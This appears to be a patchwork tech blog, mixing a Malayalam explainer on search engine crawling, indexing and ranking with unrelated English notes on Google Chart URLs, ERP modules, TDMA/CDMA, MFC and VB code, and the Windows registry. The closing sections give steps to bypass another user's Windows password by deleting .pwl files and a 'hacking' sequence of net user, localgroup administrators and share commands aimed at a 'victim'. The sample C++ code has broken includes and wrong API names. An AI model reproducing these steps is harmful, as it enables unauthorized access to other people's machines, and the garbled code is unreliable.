സെർച്ച് എഞ്ചിനുകൾ എങ്ങനെയാണ് പ്രവർത്തിക്കുന്നുവെന്ന്

സെർച്ച് എഞ്ചിനുകൾ എങ്ങനെ വെബ് പേജുകൾ കണ്ടെത്തുന്നു, അവർ കണ്ടെത്തിയ പേജുകൾ ഉപയോഗിച്ച് അവർ എന്തുചെയ്യുന്നു, എന്ത് ഫലങ്ങൾ കാണിക്കണമെന്ന് അവർ എങ്ങനെ തീരുമാനിക്കും എന്നതിനെക്കുറിച്ചുള്ള അടിസ്ഥാനകാര്യങ്ങൾ ആണ് എവിടെ വിശദമാക്കുന്നത് . ഏറ്റവും അടുത്തുള്ള കോഫി ഷോപ്പ് കണ്ടെത്താൻ നിങ്ങൾ ഒരു ഗൂഗിൾ ഉപയോഗിക്കുമ്പോൾ,   നിങ്ങൾ ചിന്തിച്ചേക്കാം, അത് എങ്ങനെ ചെയ്തു? മുഴുവൻ ഇന്റർനെറ്റിലൂടെയും ഇത്ര വേഗത്തിൽ അടുക്കി, പേജിൽ  ഫലങ്ങൾ എങ്ങനെ തിരഞ്ഞെടുത്തു?

പ്രധാനമായും  മൂന്ന് ജോലികൾ ആണ് സെർച്ച് എൻജിനുകൾ ചെയ്യുന്നത് : 
  #  കീവേർഡുകൾക്കനുസരിച്  എല്ലാ വെബ് പേജുകളുടെ  ഉള്ളടക്കം പരിശോധിക്കുക  (അതാണ്  ക്രോളിംഗ് ).
  #  അവർ ഓരോ ഉള്ളടക്കത്തെയും തരംതിരിക്കുന്നു (ഇതിനെ   ഇൻഡെക്സിംഗ് എന്ന് വിളിക്കുന്നു).
  # മൂന്നാമതായി, ഏത് ഉള്ളടക്കമാണ് തിരയുന്നവർക്ക് ഏറ്റവും ഉപയോഗപ്രദമെന്ന് അവർ തീരുമാനിക്കുന്നു (അതിനെ റാങ്കിംഗ് എന്ന് വിളിക്കുന്നു).

ഇവ എങ്ങനെ പ്രവർത്തിക്കുന്നുവെന്ന് നമുക്ക് അടുത്തറിയാം. വെബ് പേജുകൾ, ഇമേജുകൾ, വീഡിയോകൾ എന്നിവ പോലുള്ള ഉള്ളടക്കം കണ്ടെത്താൻ ഗൂഗിൾ  ഇന്റർനെറ്റിനെ “ക്രാൾ” ചെയ്യുന്നു.  പേജുകളിലൂടെ കടന്നുപോകാൻ “ബോട്ടുകൾ” (റോബോട്ടിനായി ഹ്രസ്വമായത്), “ക്രാളറുകൾ” അല്ലെങ്കിൽ “Spider ” എന്ന് വിളിക്കുന്ന കമ്പ്യൂട്ടർ പ്രോഗ്രാമുകൾ ഉപയോഗിക്കുന്നു.

മറ്റ് പേജുകളിലേക്കുള്ള ലിങ്കുകൾ പിന്തുടർന്ന് ബോട്ടുകൾ പേജിൽ നിന്ന് പേജിലേക്ക് സഞ്ചരിക്കുന്നു . ഈ ബോട്ടുകൾ ഒരിക്കലും നിൽക്കുന്നില്ല ; റിസൾട്ട് പേജിൽ  ഉൾപ്പെടുത്തുന്നതിനായി പുതിയ ലിങ്കുകളും പുതിയ ഉള്ളടക്കവും തിരയുക എന്നതാണ് അവരുടെ ഏക ലക്ഷ്യം.  ഇൻഡെക്സിംഗ് പ്രക്രിയയുടെ രണ്ടാം ഭാഗമാണ്. ബോട്ടുകൾ കണ്ടെത്തിയ എല്ലാ വെബ് പേജുകളുടെയും ഉള്ളടക്കത്തിന്റെയും ഭീമാകാരമായ പട്ടിക ഓർഗനൈസ് ചെയ്യുന്ന ഘട്ടമാണിത് . സെർച്ച് റിസൾട്ട്  പേജുകളിൽ പ്രദർശിപ്പിച്ചിരിക്കുന്ന വിവരങ്ങളുടെ ഉറവിടമായി ഗൂഗിൾ  ഈ സൂചിക ഉപയോഗിക്കുന്നു.

പക്ഷേ, ബോട്ടുകൾ കണ്ടെത്തുന്നതെല്ലാം ഇൻഡക്സ് ലിസ്റ്റിൽ ഉൾപ്പെടുന്നില്ല .

ഉദാഹരണത്തിന്, വ്യത്യസ്ത വെബ്‌സൈറ്റുകളിൽ സ്ഥിതിചെയ്യുന്ന കൃത്യമായ ഒരേ ഉള്ളടക്കത്തിന്റെ ഒന്നിലധികം പകർപ്പുകൾ തിരയൽ ഗൂഗിൾ ബോട്സ്  കണ്ടെത്തിയേക്കാം.

ഇങ്ങനെ ഒരേ കണ്ടെന്റ് ധാരാളം വെബ്സൈറ്റുകളിൽ കണ്ടെത്തിയാൽ , ഒറിജിനൽ കണ്ടെന്റ് ഉള്ള വെബ് പേജ് ആണ് ഇൻഡക്സ് ചെയ്യപ്പെടുക.

അതിനാൽ,  നിങ്ങളുടെ വെബ്‌സൈറ്റിൽ  നിങ്ങളുടെ സ്വന്തം വിവരണം എഴുതുന്നതാണ് നല്ലത്.

മനസിലാവുന്നുണ്ടോ ?  ക്രാളിംഗും ഇൻഡെക്സിംഗും കഴിഞ്ഞാൽ അടുത്തത് റാങ്കിങ്ങ് ആണ് . നിങ്ങൾ ഗൂഗിളിൽ സെർച്ച്  ടൈപ്പുചെയ്യുമ്പോൾ, പൊരുത്തപ്പെടുന്ന ഫലങ്ങൾക്കായി എഞ്ചിൻ നിങ്ങൾ ഉപയോഗിക്കുന്ന പദങ്ങളും വേർഡുകളും  ഉപയോഗിച്ചു കണ്ടെത്തിയ ഭീമാകാരമായ പട്ടിക ഇൻഡക്സ്  ചെയ്യുന്നു. ഉദാഹരണത്തിന്, ഗൂഗിൾ  230 ദശലക്ഷം പൊരുത്തപ്പെടുന്ന ഫലങ്ങൾ കണ്ടെത്തുന്നു. ഇപ്പോൾ ഗൂഗിളിന്റെ  ചുമതലയുടെ അവസാന ഭാഗത്തിനുള്ള സമയമാണ് : റാങ്കിംഗ്.

സെർച്ച് എഞ്ചിനുകൾ പേജുകൾ റാങ്ക് ചെയ്യുന്ന രീതി പ്രധാന രഹസ്യമാണ് - ഇത് അവരുടെ IP (Intellectual Property ) ആണ് . റാങ്ക് നിർണ്ണയിക്കുന്നതിന് നൂറു കണക്കിന് ഘടകങ്ങൾ ആണ് പരിഗണിക്കപ്പെടുന്നത് .  പേജിലെ വാക്കുകൾ, അതിലേക്ക് ലിങ്കുചെയ്യുന്ന മറ്റ് വെബ്‌സൈറ്റുകളുടെ എണ്ണം, പുതുമ എന്നിവ ഉൾപ്പെടെ പരിഗണിച്ചാണ് റാങ്ക് നിർണ്ണയിക്കുന്നത് .

റാങ്ക് നിർണ്ണയിക്കാൻ അവർ ഏത് സൂത്രവാക്യം ഉപയോഗിച്ചാലും, ലക്ഷ്യം മാറ്റമില്ലാതെ  തുടരുന്നു: തിരയുന്നവരെ അവർ തിരയുന്നതുമായി ബന്ധിപ്പിക്കാൻ ശ്രമിക്കുക.

 ഈ സെർച്ച് എങ്ങിനെ  പ്രക്രിയ മനസിലാക്കുന്നത് നിങ്ങളുടെ ഗൂഗിൾ ആഡ്‌സ് ഏറ്റവും മികച്ചതാക്കാൻ സഹായിക്കും.

How SMS Works

Some Facts

.A 2.5D geometry is a 2D geometry with an elevation (Z-ordinate) component. 


Design Web Format?. A file format specifically designed for storing and transmitting design data.


A rectangle bounding a map, the size of which is determined by the minimum and maximum map coordinates.


The header is a an XML file that specifies information about a resource, folder, or repository. This includes the permissions required to access the item. For a folder or root level, these permissions also affect any items below it that set permissions to be inherited from the parent.


SRS stands for Spatial Reference System. A spatial reference system "describes the coordinate space in which the object is defined."

Symmetric difference (A,B) = union(A,B) - intersection(A,B).


Well Known Text format. A method used to exchange geometry information in textual form.

Web Map Server interface. An OpenGIS specification for georeferenced maps.

Google Chart Tools ( A P I )

Google Chart Tools ( A P I )

Copy paste this link in your browser and check .You can view chart shown below

http://chart.apis.google.com/chart?cht=p3&chd=t:60,30,10&chs=250x100&chl=Hind|ust|ani

Try this also

http://chart.apis.google.com/chart?cht=p3&chd=t:60,30,10&chs=250x100&chl=Hind|ust|ani&chco=0000FF


When you closely watch the link which produce a chat ;you can see after this link
http://chart.apis.google.com/chart? every parameter is passed through variable starting with 'ch' which stands for chart

cht resembles for Chart Type  

1. Pie Charts (p, p3, pc)
2. Bar Charts (bhs, bvs, bhg, bvg)
3. Box Charts
4. Candlestick Charts
5. Compound Charts
6. Dynamic Icons (chem)
7. Formulas (tx)
8. Google-O-Meter Charts (gom)
9. Line Charts (lc, ls, lxy)
10. Map Charts (t)
11. QR Codes (qr)
12. Radar Charts (r, rs)
13. Scatter Charts (s)
14. Venn Charts (v)            

cbd resembles for Chart Data (ie: chd=t:val,val,val Here t stands for 'text' format )

Formats
t -> text ,s -> series

chs resembles for Chart Size in pixels ( [width x height ie: 250 x 100 ] )

<width>
Width, in pixels. Maximum value is 1,000. Width x height cannot exceed 300,000.
<height>
Height, in pixels. Maximum value is 1,000. Width x height cannot exceed 300,000.

chco resembles for Chart Color

List of Chart Parameters

For More Details

.MHT File

If you want to save webpage as package then open that website in Internet Explorer and save it as '.MHT'. You will get entire web page as single package. MHTML, short for MIME HTML

ERP HR

Organization and Calendar Unit Set Up

Leave and Payroll calendar set up

* Detailed with public holidays and other definitions
* Allowing inactivation or activation
* Facility to specify holidays flexibly

Normal and customized Time table set up

* Specification of half a day working etc., in weekly off
* Facility to provide information on work and break timings

Entity or Department Set up

Mapping cost center to Entity / Department

Masters

Scale

* Facilitates to activate and inactivate the scale for usage

Defining Scale values

* Lower, increment, upper and midpoint values for the scale with rated frequency

Grade

* Grouping of Employees
* Allowing inactivation or activation of the grade
* Map a scale to the grade

Grade and Work Location based salary structure specification

* Pay element values for the grade and work location combination and their periodicity and variability at employee level

User Definable Quick codes

* Specific preset values for certain process variables facilitating easier usage of these values

Job Definition

* Specify attributes including description, level, family, classification and grades
* Inactivation and Activation of the job
* Terms and Conditions of the job


Position definition with a default Job and Department combination

Employee Separation

Capture details including date of separation initiation, initiator, last available date, employee reason and employer reason for separation and eligible for re-hire

Exit interview details

Employee Self Service

* Application for leave, attendance and time booking
* Pay slip printing through employee self service
* Facility to authorize or reject application made for leave, attendance or time booking

Leave

Leave Type Set up

* Specifying the attributes of the leave like payable, entitle units - minimum and maximum
* Providing different types of leave entitlements at employee or grade level and Leave carry over of one leave type as another and carry over leaves on a predefined ratio

Leave application - apply, cancel, reject and authorization of leave

Leave Encashment

Time Management

Attendance Booking

Loans and Advances

* Maintaining loans masters specifying interest rate, minimum and maximum installments etc.,
* Eligibility rules for the loans and advances master and documents required for the loans or advances
* Application, Authorization and sanctioning of the loans or advances
* Automatic calculation of interest and installments due for the loans or advances
* Loan or advance repayment schedule and facility to amend the installment amounts


Payroll Definition

* Pay element definitions with classification of the same as earnings, deductions etc.,
* Provide account codes to be used when making financial postings from HRMS
* Specify dependent pay elements where one pay element value is dependent on another pay element


Pay Set

* Mapping pay elements and pay set where the attributes of the pay elements in the pay set are defined like

* Recurrence
* Taxability
* Projection for Taxability
* Processing Frequency
* Loss of Pay

* Mapping employees to pay set
* Set Exceptional Values

* Exceptional values of pay elements with respect to employees
* Exceptional values of pay elements as such

* Financial posting of salary accounting and salary payments

Payroll Processing

* Process payroll
* Authorize payroll
* View processed payroll details
* View employee wise payroll details
* Scheduled payroll processing
* Account for Salary Expense
* Salary payment and authorization with hold and resume options

Employee Taxation - India

* Provision to Capture various deduction details like 80C, 80CCC, 80D, 80DD, 80E and 80U
* Providing House Rent Details

* Automatically picking HRA element for tax computations
* Specifying the city of residence and the rental details

* Information on Other Income

* Information on various other sources of income that are considered for tax deduction

* Previous employment Details

* Income earned, tax deducted and other details related to the previous employer

* Automatically picking PF contribution for tax computation
* PF statutory Report

ERP (Service Management)

ERP (Purchase & Subcontracting)

Purchase & Subcontracting

# Purchase Request with Normal and Express Mode
# Manual or auto numbering of documents based on request type.
# Multiple items in a single request.
# Attaching price list to a line item.
# User can specify issue list or receipt list for subcontract request.
# If the Purchase / Subcontract request is created through MRP run – Authorized requests can be viewed.
# Subcontract BOM is mandatory in case of Subcontract request.

RFQ / Quotation

Request for Quotation

* RFQ – Against Purchase / Subcontract request.
* RFQ – Auto numbering for both purchase or subcontracting.
* RFQ can be sent to any number of suppliers.
* RFQ has Closing date before which suppliers should send the feedback as Purchase quotation.
* Variance analysis between budgets of different financial periods.

Quotation

* Quotation sent by suppliers against RFQ or without reference are recorded through this activity.
* Quotation interface is common to both Purchase / Subcontract.
* Terms and Conditions are captured through Taxes, Charges and Discounts at document or line level.
* MIS report on quotation gives rate comparison and used to place an order.

Purchase Order


* Record purchase orders from one time / regular suppliers.
* Additional details of PO through terms and conditions.
* Multiple items in a single order.
* Item rate defaulting from supplier / item administration / price list and receipt tolerance at item level.
* Multiple TCD codes – document / item level.
* Centralized Purchase Order and decentralized receipts.
* Lot / Serial no. tracking.
* Excise, VAT, sales tax computation in purchase order.
* TCD handling based on “No Posting” and “Expense / Asset / Liability” posting rules.
* Purchase order document across warehouses.
* Handling purchase lead-time,

Blanket PO / Drop ship PO

Blanket purchase order

* Blanket purchase order.
o Rate based
o Quantity based
o Rate & Quantity based

* Handling release slip.
* Multiple TCD codes handling in Blanket PO.
* Additional remarks through additional information.

Drop ship Purchase Order

* Drop ship Purchase Order against a Drop ship Sale Order. Sale order can results into multiple Drop ship Purchase orders based on number of suppliers involved.
* It is possible to map TCD codes at document / item level

Subcontracting

* Sophisticated and flexible BOM definition – Subcontract request.
* Multiple Bill of Materials for an item.
* Subcontract ordering based on Requests, Bill of Materials and also for adhoc needs.
* Flexible pricing based on pricelist / item based / supplier based rates.
* Multiple TCD Codes – document / item level.
* Excise, VAT, service tax, sales tax compliance.
* Partial receipts and issues for subcontract orders.
* Modification of material issue / receipt list at order level.
* Provision to include for scrap wastage.
* Reconciliation of material consumed by subcontractor vis-à-vis the issued materials.

ERP (CRM)

Event Management

Classification of events
Event planning
Prioritization of events
Association to sales teams

Leads Maintenance

Maintain Leads

* Lead Contact.
o Industry type
o Turnover
o Geographical segment

* Lead Source
o Lead type
o Lead rating
o Lead source information
o Leads interests & feedback

* Assess Lead
o Lead qualifier

* Convert Lead
o Converting lead into an account and opportunity.

Lead – Account Conversion

Assessment of leads
Conversion of leads

Account and Contact Management

Maintain Accounts

Account types, industry, turn over, market potential, sales person

Current Setup

* Problems faced
* Pain areas
* Expectations

Maintain key contacts

Opportunity Creation and Assessment

* Manage Opportunity

o Lead information, lead requirements, leads interests.
o Sales stage (current status of the opportunity).
o Competitors in race.
o Expected order date.
o Estimated revenue model & value.

Sales person Task Reporting

Maintain sales task

* Creation of task plan.
* Planned task authorization.
* Task booking against planned tasks.
* Task booking against lead, opportunity or account.
* Task booking authorization by supervisor.
* Supervisor remarks on the task performed.
* Execute sales administrative duties.

Inquiry Tracking

Mode of enquiry capture
Details of enquiry capture
Association to sales teams

Maintain Sales Order

Order acknowledgement
Delivery date commitment
Reference to quotation
Revenue allocation to cost center

Maintain Packslip

Shipment of goods from project zone
Capture of lot/serial numbers

Maintain Customer Order Invoice

Provision to modify price
Payment terms capture
Multiple invoices against single order

Maintain Customer Receipt

Receipt at bank/cash
Adjustment with Invoice
Bank charges accounting

ERP (Cost Planning & Control)

Cost Budget


* Cost budget for each financial period.
* Cost budget for each cost center.
* Cost budget for each account code.
* Comparison of budgets of different periods.
* Variance analysis based on actual amount Vs budgeted amount.
* Variance analysis between budgets of different financial periods.

Cost Setup

Cost Center

* Detailed and Group Cost Center.
* Effective dates can be provided.
* Cost center structure can be maintained.

Cost Element

* Activity Based cost element and normal cost element.
* Ledger asset, income and expenditure codes can be created as cost element.
* Ledger code itself can be created as cost element
* Effective dates can be provided.
* Same cost element can be mapped to multiple cost centers.

Cost Rollup

DP Roll up gives users a facility to compute the cost of item that is either manufactured or subcontracted.

* Purchased and subcontracted item can be rolled up.
* Errors on rollup can be verified and rectified.
* Basis of rollup can be maximum, minimum or average.
* Tolerance can be defined for additional cost burden.
* Cost burden can be applied and updated in the inventory.

TDMA & CDMA

TDMA
----
According to TDMA in each signaling station Bandwidth is used in different time slots.In TDMA technology When a particular signaling station is using a certain timeslot say T1 it cannot be used by another signalling station T1 can be only used by the latter after first station is used.In satellite technology and For GSM mobiles mainlt TDMA technology is used .

CDMA
-----
For CDMa signalling station (mobile tower) there is no limitation for timeslot and bandwidth.It can transmit signals at any time at any frequency.For each station it have its own unique chip-code sequnce with binary logic 0 and 1 .For each clock chipcode will change .Chipcode sequence of paricular station will not be repeated for another station.Signals are secure in this technology.This is also known as Spread spectrum Multiple acess.For CDMA main parts are CDMA decoder & encoder .In CDMA logic 1 is respresented as +1 and logic 0 is represented as -1.

Visual c++

Mouse Programming

Handler functions are mainly used for handling messages .Messages are of two types Client and non-client messages .When double clciking ,draging from windows title bar Non Client message is generated.

Client message
---------------
Message Handler Sent When
-------------------------------------------------------------
WM_LBUTTONDOWN OnLButtonDown Left button is pressed
WM_LBUTTONUP OnLButtonUp Left button is released
WM_LBUTTONDBCLCICK OnLButtonDblClk Left button double clicked

WM_MBUTTONDOWN OnMButtonDown Middle button is pressed
WM_MBUTTONUP OnMButtonUp Middle button is released
WM_MBUTTONDBCLICK OnMButtonDblClk Middle button double clicked

WM_RBUTTONDOWN OnRButtonDown Right button is pressed
WM_RBUTTONUP OnRButtonUp Right button is released
WM_RBUTTONDBCLCICK OnRButtonDblClk Right button double clicked

WM_MUSEMOVE OnMouseMove Mouse is Moved Over Window's client area


Non-Client message
---------------
Message Handler Sent When
-------------------------------------------------------------
WM_NCLBUTTONDOWN OnNcLButtonDown Left button is pressed
WM_NCLBUTTONUP OnNcLButtonUp Left button is released
WM_NCLBUTTONDBCLCICK OnNcLButtonDblClk Left button double clicked

WM_NCMBUTTONDOWN OnNcMButtonDown Middle button is pressed
WM_NCMBUTTONUP OnNcMButtonUp Middle button is released
WM_NCMBUTTONDBCLICK OnNcMButtonDblClk Middle button double clicked

WM_NCRBUTTONDOWN OnNcRButtonDown Right button is pressed
WM_NCRBUTTONUP OnNcRButtonUp Right button is released
WM_NCRBUTTONDBCLCICK OnNcRButtonDblClk Right button double clicked

WM_NCMUSEMOVE OnNcMouseMove Mouse is Moved Over Window's client area


Code to check wether mouse is present or not ,if present display the count of buttons.


#include
class mousestatus:public CFrameWnd
{
public:
mousestatus()
{
Create (0,"Mouse status");
}
void checkmouse()
{
int status,count;
char message;
status=::GetSystemMetric(SM_MOUSEPRESENT);
if (status==1)
{
MessageBox("Mouse present","User");
Count=::GetSystemMetric(SM_CMMOUSEBUTTONS);
Sprintf(Message,"%d",Count);
MessageBox(message,"Number of buttons");
}
else
{
MessageBox("Mouse absent","User");
}
}//end of checkmouse
};

class MS : public CWinApp
{
public:
int InitInstance()
{
mousestatus *ptrms =new mousestatus ( );
ptrms -> ShowWindow(1);
ptrms -> checkmouse();
m_pMainWnd =ptrms;
return(1);
}
};
MS myobject;


Program to swap mouse buttons


#include
class Swapmouse:public CFrameWnd
{
public:
Swapmouse()
{
Create (0,"Swapping Mouse button");
}
void swap()
{
int status;
status=::GetSystemMetric(SM_SWAPBUTTON);
if (status==1)
{
MessageBox("Mouse Buttons are swapped","User");
}
else
{
MessageBox("Mouse Not Swapped","User");
}
}//end of checkmouse
};

class Swpms : public CWinApp
{
public:
int InitInstance()
{
Swpms *ptrms =new swpms ( );
ptrms -> ShowWindow(1);
ptrms -> Swap();
m_pMainWnd =ptrswpms;
return(1);
}
};
Swpms myobject;


File Programming
-----------------
Storing of application data into computer drives is called Serialisation and viceversa is known as deserialisation.

For serialisation there are two MFC class CArchive and CFile


CArchive is given in Serialize named function as argument .In CArchive class there are two functions for read and write ; IsLoading and IsStoring.

Eg : Void CFileDemo :: Serialize ( CArchive &obj)

For object Serialization what all steps are followed
----------------------------------------------------
Macro statements like DECLARE_SERIAL and IMPLEMENT_SERAIL are to be defined in class declaration and class implementation.In DECLARE_SERAIL macro one argument should be passed ;the agrument is the name of the class for which serialization should be attained.
In IMPLEMENT_SERAIL macro three arguments should be passed ,first one is same we used in DECLARE_SERAIL macro second one is super base class of our class and third one is version number of our file.

//Class declaration


class CFileClass::public CObject
{
DECLARE_SERIAL(CFileclass)
public :
Virtual void Serialize (CArchive obj);
CFileClass();
virtual `CFileClass();
};

// class implementation

#include "stdafx.h"
#include "FileClass.h"
#ifdef_DEBUG
#undef THIS_FILE
static char THIS_FILE[]=FILE_;
#define new DEBUG_NEW
#end if;
IMPLEMENT_SERAIL(CFileClass,CObject,1)


// Construction

CFileClass:: CFileClass()
{

//add code
}

// distruction

CFileClass::`CFileClass()
{
//add code
}

Visual Basic

Shell function to call executable files from your application.In this function two arguments are accepted one is program name and other is window state of program (1- for normal mode ie: VbNormal ; VbMaximized,VbMinimized)

Private Sub Form_Load( )
Dim r as variant
r =Shell ("Calc.exe,1);
End Sub


AppActivate Statement


Send Keys

Values to submitted in sendkeys

Shift ------ +
Control ----- ^
Alt ------ %
Backspace ---- {BACKSPACE}
Break ---- {BREAK}
Caps ---- {CAPSLOCK}
Clear -------- {CLEAR}
Del --------- {DELETE}
DownArrow ---- {DOWN}
End ---- {END}
Enter -------- {ENTER}
Esc ---------- {ESCAPE}
Help --------- {HELP}
etc.................................

Five arguments for MessageBox

MessageBox(Message,style,heading,helpfile,helpcontextid);

C Sharp

Web.cs
--------
using System;
class webclass
{ public static void Main ()
{
Console.WriteLine("Content_Type :text/html|\n");
Console.WriteLine("First web program ");
}
}

After compiling this web.exe file will be generated .Copy this file into apache\cgi-bin named folder.


Then create a html file

web1.html
----------

<html>
<form action =http://127.0.0.1/cgi-bin/web.exe>
<input type=submit value=Display>
</form>
</html>


then after starting apache

cmd>apache (command to start apache web server)

Then in browser type this hht://127.0.0.1/web1.html and press enter your first C# program got executed.


Thread synchronization
----------------------

Thread synchronization is attained by lock .In common language Runtime (CLR) there are three different types Thread synchronization .

Inter Lock class, Monitor class, Lock statement

In Inter lock class there are there are two threads Increment and Decrement

Interlocked.Increment( )

WINDOWS Shortcut Key

• Windows: Display the Start menu
• Windows + D: Minimize or restore all windows
• Windows + E: Display Windows Explorer
• Windows + F: Display Search for files
• Windows + Ctrl + F: Display Search for computer
• Windows + F1: Display Help and Support Center
• Windows + R: Display Run dialog box
• Windows + break: Display System Properties dialog box
• Windows + shift + M: Undo minimize all windows
• Windows + U: Open Utility Manager

Registry

Registry is a database which stores the s/w and hardware information of a computer.This resides(contains) in the file user.dat and system.dat from windows 95 version onwards ; before that there was no concept of registry apart from this all informations are stored in the following files Config.sys,autoexec.bat,system.ini,control.ini,win.ini. For editing the registry files windows supplies 'Regedit' named tool .Registry details can be exported and imported .Exported registry files with be .reg extension ;its a text based file.

REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\Setup]
"setup type"=dword.00000000
"cmdline"=setup_new setup
"System Perfix"=hex:c5,0b,00,00,40,36,02

In registry the hyphone symbol '-' is used for commenting.

Based upon the information registry is divided into 6 sections.

HKEY_CLASSES_ROOT
--------------------
This section contains the information of different type of file extensions,OLE related details,Drag & drop features ,Windows shortcut ,User interface etc.


HKEY_CURRENT_USER
-----------------
Contains the information of login user detials and their desktop and start menu settings.

HKEY_LOCAL_MACHINE
-------------------
This stores information about hardware and s/w details .There are many subkeys in this section

Config :
--------
Contains information about assemblence of different hardwares .

Enum :
------
It contains all details about device drivers in the PC.

Hardware :
---------
It contains information about Serial Port ,Processors,Floating Point Processers etc

Network :
--------
Network related details .

Software :
---------
Information about What all Softwares installed in the PC.

System :
--------
It deals with information about the device drivers which is uesd in the Pcand its assembly details.

HKEY_USERS
----------
Contains the information of all user detials and their desktop and start menu settings.


HKEY_CURRENT_CONFIG
-------------------
Details about Hardware Configuration.

HKEY_DYN_DATA
--------------


In registry there are 5 different datatypes

1) REG_BINARY : This datatypes are used for mainly storing hardware related informations .Its value is shhown in hexadecimal format.
2) REG_DWORD : This is 4 byte in length ,consist of boolean data 0 and 1 .Its value can be seen in hexadecimal or in decimal format .
3) REG_SZ : String datatype.
4) REG_EXPAND_SZ :
5) REG_MULTI_SZ :

Start menu delay

Hkey_current_user\control Panel\desktop locate

Menushowdelay change value from 400 to 15

To hide drives

HKEY_LOCALMACHINE\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer - this changes the settings for all users on the machine.
You may have to create the key folder "Explorer" manually.

3. In the Explorer key folder, create a new DWORD value by right-clicking Explorer, then
choosing New DWORD value. Name the value "NoDrives" (without the quotes). This value defines
local and network drive visibility for each logical drive on the computer. All drives will be
visible as long as this value's data is set to 0.

4. Following the table below, enter the decimal number corresponding to the drive(s) you want
to hide as NoDrives value data. When you right-click on NoDrives and choose Modify, make
sure you select Decimal base, not Hexadecimal.And restart windows

Drive Number to hide
A: 1
B: 2
C: 4
D: 8
E: 16
F: 32
G: 64
H: 128
I: 256
J: 512
K: 1024
L: 2048
M: 4096
N: 8192
O: 16384
P: 32768
Q: 65536
R: 131072
S: 262144
T: 524288
U: 1048576
V: 2097152
W: 4194304
X: 8388608
Y: 16777216
Z: 33554432
All drives 67108863

Change Win Pswd

Have you ever forgotten your windows password and never been able to
Retrieve those files you longed?

Well heres how to change your password without knowing the old one.

1)when the computer boots keep pressing F8 until you get to a boot screen.
2)Select boot in DOS.
3)Get yourself into the windows folder by typing "cd windows" (without the "")
4)next type "dir *.pwl". This will display the login password files.
5)after you found out the one that’s yours (or ne1 else’s you want to get into) type del
Username.pwl
6)Reboot the computer
7)When you have to login, put in the username you deleted, and enter ne password you like.
8)The computer will say something like "No password. Would you like to use this one? Confirm?
9)Put your password in
10) sit back and watch all the noobs try and open their windows boxes with the wrong password

Hacking with Ping Command

1) Ping command

a cool way to say hello to victim

try

ping [victims ip goes here]

if the result is request timed out then the user is ofline

if the result is reply from [ip] bytes=32 time<1ms TTL 64

the victim is online.



2)net user [anyname] /add

it adds a new net user put any name inplace of [anyname]



3)net localgroup administrators [anyname] /add

This is the command that make your user go to the administrators

group.

Depending on the windows version the name will be different.

If you got an american version the name for the group is Administrators

and for the portuguese version is administradores so it's nice

yo know wich version of windows xp you are going to try share.



4)net share system=C:\ /unlimited

This commands share the C: drive with the name of system.

you can use any root dir. instead



5)net use \\victimip [nameofnetaccount]

This command will make a session between you and the victim

Of course where it says victimip you will insert the victim ip.

where nameofnetuser is the name via which victim logs on



6)explorer \\victimip\system

And this will open a explorer windows in the share system wich is

the C: drive with administrators access!